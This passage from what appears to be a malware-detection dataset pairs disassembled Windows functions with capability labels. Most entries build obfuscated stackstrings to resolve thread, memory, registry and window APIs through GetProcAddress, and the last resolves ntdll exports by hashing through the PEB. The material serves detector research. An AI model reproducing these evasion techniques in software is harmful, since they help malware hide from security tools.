joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180009f98
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
xor ebx, ebx
mov word [rbp - 0x11], 0x64
mov dword [rbp - 0x1a], 0x746e6572
mov word [rbp - 0x20], 0x6547
mov word [rbp - 0x1d], 0x7543
mov dword [rbp - 0x16], 0x65726854
mov byte [rbp - 0x1e], 0x74
mov byte [rbp - 0x1b], 0x72
mov byte [rbp - 0x12], 0x61
call fcn.180009c94
lea rdx, [rbp - 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180009fef
call rax
mov rbx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x18000a000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x40
mov edi, r8d
mov rsi, rdx
mov r14, rcx
xor ebx, ebx
mov word [rbp - 0x17], 0x6946
mov dword [rbp - 0x1c], 0x6c75646f
mov dword [rbp - 0x20], 0x4d746547
mov word [rbp - 0x12], 0x6d61
mov byte [rbp - 0x18], 0x65
mov word [rbp - 0xf], 0x41
mov word [rbp - 0x14], 0x4e65
mov byte [rbp - 0x15], 0x6c
mov byte [rbp - 0x10], 0x65
call fcn.180009c94
lea rdx, [rbp - 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000a07c
mov r8d, edi
mov rdx, rsi
mov rcx, r14
call rax
mov ebx, eax
mov rsi, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
mov r14, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x18000a098
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x30
mov rbx, rcx
mov dword [rbp - 0xb], 0x6d657473
mov word [rbp - 0xd], 0x7953
mov word [rbp - 0x10], 0x6547
mov word [rbp - 4], 0x6f
mov word [rbp - 7], 0x6e49
mov byte [rbp - 5], 0x66
mov byte [rbp - 0xe], 0x74
call fcn.180009c94
lea rdx, [rbp - 0x10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000a0eb
mov rcx, rbx
call rax
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rbp
ret

Function at 0x18000a0f8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x40
mov rdi, rdx
mov rsi, rcx
xor ebx, ebx
mov dword [rbp - 0x1d], 0x65726854
mov dword [rbp - 0x13], 0x747865
mov word [rbp - 0x20], 0x6547
mov dword [rbp - 0x18], 0x6e6f4364
mov byte [rbp - 0x14], 0x74
mov byte [rbp - 0x1e], 0x74
mov byte [rbp - 0x19], 0x61
call fcn.180009c94
lea rdx, [rbp - 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000a15f
mov rdx, rdi
mov rcx, rsi
call rax
mov ebx, eax
mov rsi, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret
Function at 0x18000a178
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x40
mov rdi, rcx
mov ebx, 0x7fffffff
mov word [rbp - 0x17], 0x7250
mov dword [rbp - 0x1e], 0x72685474
mov dword [rbp - 0x13], 0x79746972
mov word [rbp - 0x1a], 0x6165
mov word [rbp - 0x15], 0x6f69
mov byte [rbp - 0xf], 0
mov word [rbp - 0x20], 0x6547
mov byte [rbp - 0x18], 0x64
call fcn.180009c94
lea rdx, [rbp - 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000a1de
mov rcx, rdi
call rax
mov ebx, eax
mov rdi, qword [rsp + 0x58]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x18000a1f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x40
xor ebx, ebx
mov rdi, r8
mov esi, edx
mov r14, rcx
mov dword [rbp - 0xe], 0x7972746e
mov word [rbp - 0x1d], 0x6854
mov byte [rbp - 0xa], bl
mov word [rbp - 0x12], 0x6f74
mov word [rbp - 0x15], 0x656c
mov word [rbp - 0x20], 0x6547
mov dword [rbp - 0x1a], 0x53646165
mov word [rbp - 0x10], 0x4572
mov byte [rbp - 0x1e], 0x74
mov byte [rbp - 0x1b], 0x72
mov byte [rbp - 0x13], 0x63
mov byte [rbp - 0x16], 0x65
call fcn.180009c94
lea rdx, [rbp - 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000a277
mov r8, rdi
mov edx, esi
mov rcx, r14
call rax
mov ebx, eax
mov rsi, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
mov r14, qword [rsp + 0x68]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x18000a294
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov rbx, rcx
mov dword [rbp - 0x10], 0x65536c61
mov dword [rbp - 0xa], 0x6e6f69
mov dword [rbp - 0x1a], 0x657a696c
mov dword [rbp - 0x1e], 0x61697469
mov word [rbp - 0xc], 0x7463
mov word [rbp - 0x15], 0x6972
mov word [rbp - 0x20], 0x6e49
mov word [rbp - 0x12], 0x6369
mov byte [rbp - 0x16], 0x43
mov byte [rbp - 0x13], 0x74
call fcn.180009c94
lea rdx, [rbp - 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000a2fc
mov rcx, rbx
call rax
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x18000a308
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov rbx, rcx
mov dword [rbp - 0xf], 0x6e6f69
mov word [rbp - 0x15], 0x6c61
mov word [rbp - 0x1a], 0x6972
mov word [rbp - 0x1d], 0x6576
mov word [rbp - 0x20], 0x654c
mov word [rbp - 0x18], 0x6974
mov byte [rbp - 0x1b], 0x43
mov dword [rbp - 0x13], 0x74636553
mov byte [rbp - 0x1e], 0x61
mov byte [rbp - 0x16], 0x63
call fcn.180009c94
lea rdx, [rbp - 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000a36c
mov rcx, rbx
call rax
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret
lea rcx, [0x18006dc68]
jmp 0x18000a308
Function at 0x18000a378
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x30
xor ebx, ebx
mov edi, r8d
mov esi, edx
mov r14d, ecx
mov word [rbp - 0xb], 0x7268
mov word [rbp - 8], 0x6461
mov byte [rbp - 6], bl
mov dword [rbp - 0x10], 0x6e65704f
mov byte [rbp - 0xc], 0x54
mov byte [rbp - 9], 0x65
call fcn.180009c94
lea rdx, [rbp - 0x10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000a3df
mov r8d, edi
mov edx, esi
mov ecx, r14d
call rax
mov rbx, rax
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov r14, qword [rsp + 0x58]
mov rax, rbx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rbp
ret

Function at 0x18000a484
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov esi, r9d
mov r14d, r8d
mov r15, rdx
mov r12, rcx
mov edi, 1
call fcn.180009c5c
mov rbx, rax
test rax, rax
je 0x18000a51b
lea rdx, [rbp - 0x10]
mov rcx, rax
mov dword [rbp - 6], 0x417845
mov word [rbp - 0x10], 0x6552
mov dword [rbp - 0xd], 0x6e65704f
mov word [rbp - 9], 0x654b
mov byte [rbp - 0xe], 0x67
mov byte [rbp - 7], 0x79
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r10, rax
test rax, rax
je 0x18000a512
mov rax, qword [rbp + 0x40]
mov r9d, esi
mov r8d, r14d
mov rdx, r15
mov rcx, r12
mov qword [rsp + 0x20], rax
call r10
mov edi, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov r12, qword [rsp + 0x78]
mov eax, edi
mov rdi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rbp
ret

Function at 0x18000a53c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x50
mov rsi, r9
mov r14, r8
mov r15, rdx
mov r12, rcx
mov edi, 1
call fcn.180009c5c
mov rbx, rax
test rax, rax
je 0x18000a5e6
lea rdx, [rbp - 0x20]
mov rcx, rax
mov dword [rbp - 0x14], 0x41784565
mov dword [rbp - 0x18], 0x756c6156
mov word [rbp - 0x1d], 0x7551
mov word [rbp - 0x20], 0x6552
mov word [rbp - 0x1b], 0x7265
mov byte [rbp - 0x19], 0x79
mov byte [rbp - 0x1e], 0x67
mov byte [rbp - 0x10], 0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r10, rax
test rax, rax
je 0x18000a5dd
mov rax, qword [rbp + 0x48]
mov r9, rsi
mov r8, r14
mov qword [rsp + 0x28], rax
mov rax, qword [rbp + 0x40]
mov rdx, r15
mov rcx, r12
mov qword [rsp + 0x20], rax
call r10
mov edi, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea r11, [rsp + 0x50]
mov eax, edi
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x18000a608
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x30
mov rdi, rcx
or ebx, 0xffffffff
mov word [rbp - 5], 0x64
mov dword [rbp - 0xe], 0x656d7573
mov dword [rbp - 0xa], 0x65726854
mov word [rbp - 0x10], 0x6552
mov byte [rbp - 6], 0x61
call fcn.180009c94
lea rdx, [rbp - 0x10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000a65c
mov rcx, rdi
call rax
mov ebx, eax
mov rdi, qword [rsp + 0x48]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rbp
ret

Function at 0x18000a670
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x30
mov rbx, rdx
mov rdi, rcx
mov word [rbp - 4], 0x79
mov word [rbp - 0xf], 0x6c74
mov word [rbp - 0xa], 0x4d6f
mov word [rbp - 7], 0x6f6d
mov byte [rbp - 0x10], 0x52
mov byte [rbp - 5], 0x72
mov word [rbp - 0xc], 0x7265
mov byte [rbp - 0xd], 0x5a
mov byte [rbp - 8], 0x65
call fcn.180009c94
lea rdx, [rbp - 0x10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000a6d5
mov rdx, rbx
mov rcx, rdi
call rax
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x30
pop rbp
ret

Function at 0x18000a6e8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x40
mov edi, edx
mov rsi, rcx
xor ebx, ebx
mov dword [rbp - 0x1b], 0x64616572
mov word [rbp - 0x13], 0x6972
mov word [rbp - 0x10], 0x79
mov word [rbp - 0x16], 0x6972
mov byte [rbp - 0x11], 0x74
mov byte [rbp - 0x17], 0x50
mov dword [rbp - 0x20], 0x54746553
mov byte [rbp - 0x14], 0x6f
mov byte [rbp - 0x1c], 0x68
call fcn.180009c94
lea rdx, [rbp - 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000a756
mov edx, edi
mov rcx, rsi
call rax
mov ebx, eax
mov rsi, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x18000a830
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x30
mov rdi, rcx
or ebx, 0xffffffff
mov dword [rbp - 0xb], 0x6854646e
mov dword [rbp - 6], 0x646165
mov dword [rbp - 0x10], 0x70737553
mov byte [rbp - 0xc], 0x65
mov byte [rbp - 7], 0x72
call fcn.180009c94
lea rdx, [rbp - 0x10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000a883
mov rcx, rdi
call rax
mov ebx, eax
mov rdi, qword [rsp + 0x48]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rbp
ret
Function at 0x18000a898
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x30
mov rdi, rdx
mov rsi, rcx
xor ebx, ebx
mov dword [rbp - 0xd], 0x33646165
mov word [rbp - 7], 0x7269
mov word [rbp - 4], 0x74
mov word [rbp - 9], 0x4632
mov word [rbp - 0xf], 0x7268
mov byte [rbp - 0x10], 0x54
mov byte [rbp - 5], 0x73
call fcn.180009c94
lea rdx, [rbp - 0x10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000a8ff
mov rdx, rdi
mov rcx, rsi
call rax
mov ebx, eax
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rbp
ret

Function at 0x18000a918
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x30
mov rdi, rdx
mov rsi, rcx
xor ebx, ebx
mov word [rbp - 9], 0x4e32
mov word [rbp - 0xc], 0x6461
mov dword [rbp - 7], 0x747865
mov byte [rbp - 0xa], 0x33
mov word [rbp - 0xf], 0x7268
mov byte [rbp - 0xd], 0x65
mov byte [rbp - 0x10], 0x54
call fcn.180009c94
lea rdx, [rbp - 0x10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000a97d
mov rdx, rdi
mov rcx, rsi
call rax
mov ebx, eax
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rbp
ret

Function at 0x18000a994
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x30
mov edi, r9d
mov esi, r8d
mov r14, rdx
mov r15, rcx
xor ebx, ebx
mov word [rbp - 0x10], 0x6956
mov dword [rbp - 7], 0x636f6c
mov dword [rbp - 0xd], 0x6c617574
mov word [rbp - 9], 0x6c41
mov byte [rbp - 0xe], 0x72
call fcn.180009c94
lea rdx, [rbp - 0x10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000aa03
mov r9d, edi
mov r8d, esi
mov rdx, r14
mov rcx, r15
call rax
mov rbx, rax
mov rsi, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
mov rax, rbx
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop r15
pop r14
pop rbp
ret

Function at 0x18000aaa8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x50
mov edi, r9d
mov rsi, r8
mov r14, rdx
mov r15, rcx
xor ebx, ebx
mov dword [rbp - 0x1e], 0x61757472
mov dword [rbp - 0x13], 0x784574
mov dword [rbp - 0x19], 0x746f7250
mov word [rbp - 0x20], 0x6956
mov word [rbp - 0x15], 0x6365
mov byte [rbp - 0x1a], 0x6c
call fcn.180009c94
lea rdx, [rbp - 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r10, rax
test rax, rax
je 0x18000ab2a
mov rax, qword [rbp + 0x40]
mov r9d, edi
mov r8, rsi
mov rdx, r14
mov rcx, r15
mov qword [rsp + 0x20], rax
call r10
mov ebx, eax
lea r11, [rsp + 0x50]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x18000ab48
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
mov rbp, rsp
sub rsp, 0x30
mov rdi, r8
mov rsi, rdx
mov r14, rcx
xor ebx, ebx
mov word [rbp - 5], 0x79
mov word [rbp - 8], 0x6575
mov word [rbp - 0xb], 0x6c61
mov dword [rbp - 0x10], 0x74726956
mov byte [rbp - 6], 0x72
mov byte [rbp - 9], 0x51
mov byte [rbp - 0xc], 0x75
call fcn.180009c94
lea rdx, [rbp - 0x10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000abb8
mov r8, rdi
mov rdx, rsi
mov rcx, r14
call rax
mov rbx, rax
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov r14, qword [rsp + 0x58]
mov rax, rbx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rbp
ret

Function at 0x18000ad00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x180
mov rdi, rcx
xor ebx, ebx
lea rcx, [rsp + 0x71]
xor edx, edx
mov r8d, 0x103
mov dword [rsp + 0x40], ebx
mov byte [rsp + 0x70], bl
call fcn.18000d2f0
lea rcx, [rsp + 0x48]
mov dword [rsp + 0x37], 0x73255c45
mov dword [rsp + 0x32], 0x41575446
mov word [rsp + 0x30], 0x4f53
mov byte [rsp + 0x3b], bl
mov byte [rsp + 0x36], 0x52
call fcn.18000c830
cmp qword [rax + 0x18], 0x10
jb 0x18000ad60
mov rax, qword [rax]
lea r9, [rsp + 0x30]
lea rcx, [rsp + 0x70]
or r8, 0xffffffffffffffff
mov edx, 0x104
mov qword [rsp + 0x20], rax
call fcn.18000e434
cmp qword [rsp + 0x60], 0x10
jb 0x18000ad8f
mov rcx, qword [rsp + 0x48]
call fcn.18000e138
mov qword [rdi + 0x18], 0xf
mov qword [rdi + 0x10], rbx
mov byte [rdi], bl
cmp byte [rsp + 0x70], bl
je 0x18000adb9
lea rax, [rsp + 0x70]
or rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x18000adb0
lea rdx, [rsp + 0x70]
mov r8, rbx
mov rcx, rdi
call fcn.18000cd10
mov rbx, qword [rsp + 0x190]
mov rax, rdi
add rsp, 0x180
pop rdi
ret

Function at 0x18000ade0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub rsp, 0x48
call fcn.180009d04
test rax, rax
je 0x18000ae2c
lea rdx, [rsp + 0x20]
mov rcx, rax
mov word [rsp + 0x25], 0x6957
mov dword [rsp + 0x20], 0x6e697242
mov dword [rsp + 0x27], 0x776f646e
mov dword [rsp + 0x2d], 0x706f54
mov byte [rsp + 0x24], 0x67
mov word [rsp + 0x2b], 0x6f54
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
add rsp, 0x48
ret
add rsp, 0x48
ret

Function at 0x18000ae40
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub rsp, 0x38
call fcn.180009d04
test rax, rax
je 0x18000ae8a
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x2b], 0x776f646e
mov dword [rsp + 0x25], 0x65766974
mov dword [rsp + 0x20], 0x41746553
mov word [rsp + 0x29], 0x6957
mov byte [rsp + 0x2f], 0
mov byte [rsp + 0x24], 0x63
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
add rsp, 0x38
ret
add rsp, 0x38
ret
Function at 0x18000ae90
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub rsp, 0x48
call fcn.180009d04
test rax, rax
je 0x18000aeeb
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x23], 0x65726f46
mov dword [rsp + 0x2f], 0x776f646e
mov dword [rsp + 0x2a], 0x57646e75
mov word [rsp + 0x20], 0x6553
mov word [rsp + 0x27], 0x7267
mov byte [rsp + 0x22], 0x74
mov byte [rsp + 0x33], 0
mov byte [rsp + 0x2e], 0x69
mov byte [rsp + 0x29], 0x6f
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
add rsp, 0x48
ret
add rsp, 0x48
ret

Function at 0x18000b110
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x30
mov rsi, r9
mov r14, r8
mov r15d, edx
mov r12, rcx
xor ebx, ebx
call fcn.180009d04
mov rdi, rax
test rax, rax
je 0x180009dc7
lea rdx, [rbp - 0x10]
mov rcx, rax
mov word [rbp - 4], 0x7845
mov byte [rbp - 2], bl
mov dword [rbp - 9], 0x6f6f4874
mov dword [rbp - 0xd], 0x78654e6c
mov word [rbp - 0xf], 0x6c61
mov byte [rbp - 5], 0x6b
mov byte [rbp - 0x10], 0x43
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180009dbe
mov r9, rsi
mov r8, r14
mov edx, r15d
mov rcx, r12
call rax
mov rbx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rsi, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
mov r12, qword [rsp + 0x68]
mov rax, rbx
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop r15
pop r14
pop rbp
ret
mov r9, r8
mov r8, rdx
mov edx, ecx
xor ecx, ecx
jmp 0x180009d3c

Function at 0x18000bc70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub rsp, 0x38
call fcn.180009d04
test rax, rax
je 0x18000bcb7
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x21], 0x69577465
mov dword [rsp + 0x28], 0x736f5077
mov word [rsp + 0x25], 0x646e
mov byte [rsp + 0x20], 0x53
mov byte [rsp + 0x2c], 0
mov byte [rsp + 0x27], 0x6f
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
add rsp, 0x38
ret
add rsp, 0x38
ret

Function at 0x18000bd00
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub rsp, 0x148
cmp edx, 1
jne 0x18000bdcd
lea rdx, [rsp + 0x30]
mov r8d, 0x104
xor ecx, ecx
call fcn.18000a000
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x26], 0x75732074
mov dword [rsp + 0x2c], 0x74726f
mov dword [rsp + 0x21], 0x6174736e
mov word [rsp + 0x2a], 0x7070
mov byte [rsp + 0x20], 0x69
mov byte [rsp + 0x25], 0x6e
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
test rax, rax
jne 0x18000be01
lea rdx, [sym.drvhlp.dll_w35z0c]
lea rcx, [0x18006dbb0]
call fcn.18000b2e4
test eax, eax
je 0x18000be01
lea rdx, [sym.drvhlp.dll_wodi5m]
lea rcx, [0x18006dba0]
call fcn.18000b2e4
test eax, eax
je 0x18000be01
lea rdx, [sym.drvhlp.dll_dyz6fm]
lea rcx, [0x18006dc20]
call fcn.18000b2e4
test eax, eax
je 0x18000be01
lea rdx, [sym.drvhlp.dll_r4ev3y]
lea rcx, [0x18006dbf0]
call fcn.18000b2e4
mov eax, 1
add rsp, 0x148
ret
test edx, edx
jne 0x18000be01
lea rcx, [0x18006dbb0]
call fcn.18000c5a8
lea rcx, [0x18006dba0]
call fcn.18000c5a8
lea rcx, [0x18006dc20]
call fcn.18000c5a8
lea rcx, [0x18006dbf0]
call fcn.18000c5a8
mov eax, 1
add rsp, 0x148
ret
Function at 0x1400012f0
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x18
cmp dword [0x14000c7c0], 0
jne 0x1400014d0
mov rax, qword gs:[0x60]
xor edx, edx
mov rcx, qword [rax + 0x18]
mov r8, qword [rcx + 0x10]
mov rax, qword [r8 + 0x30]
test rax, rax
je 0x1400014da
mov r9, rax
movsxd rax, dword [rax + 0x3c]
mov ecx, dword [rax + r9 + 0x88]
test ecx, ecx
je 0x14000135e
lea rdx, [r9 + rcx]
mov ecx, dword [r9 + rcx + 0xc]
mov eax, dword [rcx + r9]
or eax, 0x20202020
cmp eax, 0x6c64746e
jne 0x14000135e
mov eax, dword [rcx + r9 + 4]
or eax, 0x20202020
cmp eax, 0x6c642e6c
je 0x14000136a
mov r8, qword [r8]
mov rax, qword [r8 + 0x30]
test rax, rax
jne 0x140001321
test rdx, rdx
je 0x1400014da
mov qword [rsp + 0x20], rbx
mov ebx, dword [rdx + 0x18]
mov qword [rsp + 0x28], rbp
mov ebp, dword [rdx + 0x24]
mov qword [rsp + 0x30], rsi
add rbp, r9
mov esi, dword [rdx + 0x20]
mov qword [rsp + 0x38], rdi
add rsi, r9
mov qword [rsp + 0x10], r12
mov r12d, 0x775a
mov qword [rsp + 8], r14
mov r14d, dword [rdx + 0x1c]
add r14, r9
mov qword [rsp], r15
xor r8d, r8d
lea r15, [0x14000c7c0]
nop dword [rax + rax]
dec ebx
mov edx, dword [rsi + rbx*4]
add rdx, r9
cmp word [rdx], r12w
jne 0x140001423
xor r11d, r11d
mov r10d, 0x8eab0230
mov rax, rdx
nop word [rax + rax]
movzx eax, word [rax]
mov ecx, r10d
ror ecx, 8
inc r11d
add ecx, eax
mov eax, r11d
add rax, rdx
xor r10d, ecx
cmp byte [rax], 0
jne 0x1400013e0
lea rcx, [r8*8]
inc r8d
mov dword [rcx + r15 + 4], r10d
movzx eax, word [rbp + rbx*2]
mov eax, dword [r14 + rax*4]
mov dword [rcx + r15 + 8], eax
cmp r8d, 0x1f4
je 0x140001427
test ebx, ebx
jne 0x1400013c0
mov r14, qword [rsp + 8]
lea eax, [r8 - 1]
mov r12, qword [rsp + 0x10]
xor edx, edx
mov rsi, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x28]
mov dword [0x14000c7c0], r8d
test eax, eax
je 0x1400014c2
nop dword [rax]
mov ecx, r8d
xor eax, eax
sub ecx, edx
cmp ecx, 1
je 0x1400014b8
nop dword [rax]
mov ecx, eax
lea r9d, [rax + 1]
lea r10, [r9*8]
mov ebx, dword [r10 + r15 + 8]
lea r11, [rcx*8]
mov edi, dword [r11 + r15 + 8]
cmp edi, ebx
jbe 0x1400014a9
mov ecx, dword [r11 + r15 + 4]
mov eax, dword [r10 + r15 + 4]
mov dword [r11 + r15 + 4], eax
mov dword [r10 + r15 + 4], ecx
mov dword [r11 + r15 + 8], ebx
mov dword [r10 + r15 + 8], edi
mov r8d, dword [0x14000c7c0]
mov ecx, r8d
mov eax, r9d
sub ecx, edx
dec ecx
cmp r9d, ecx
jb 0x140001460
inc edx
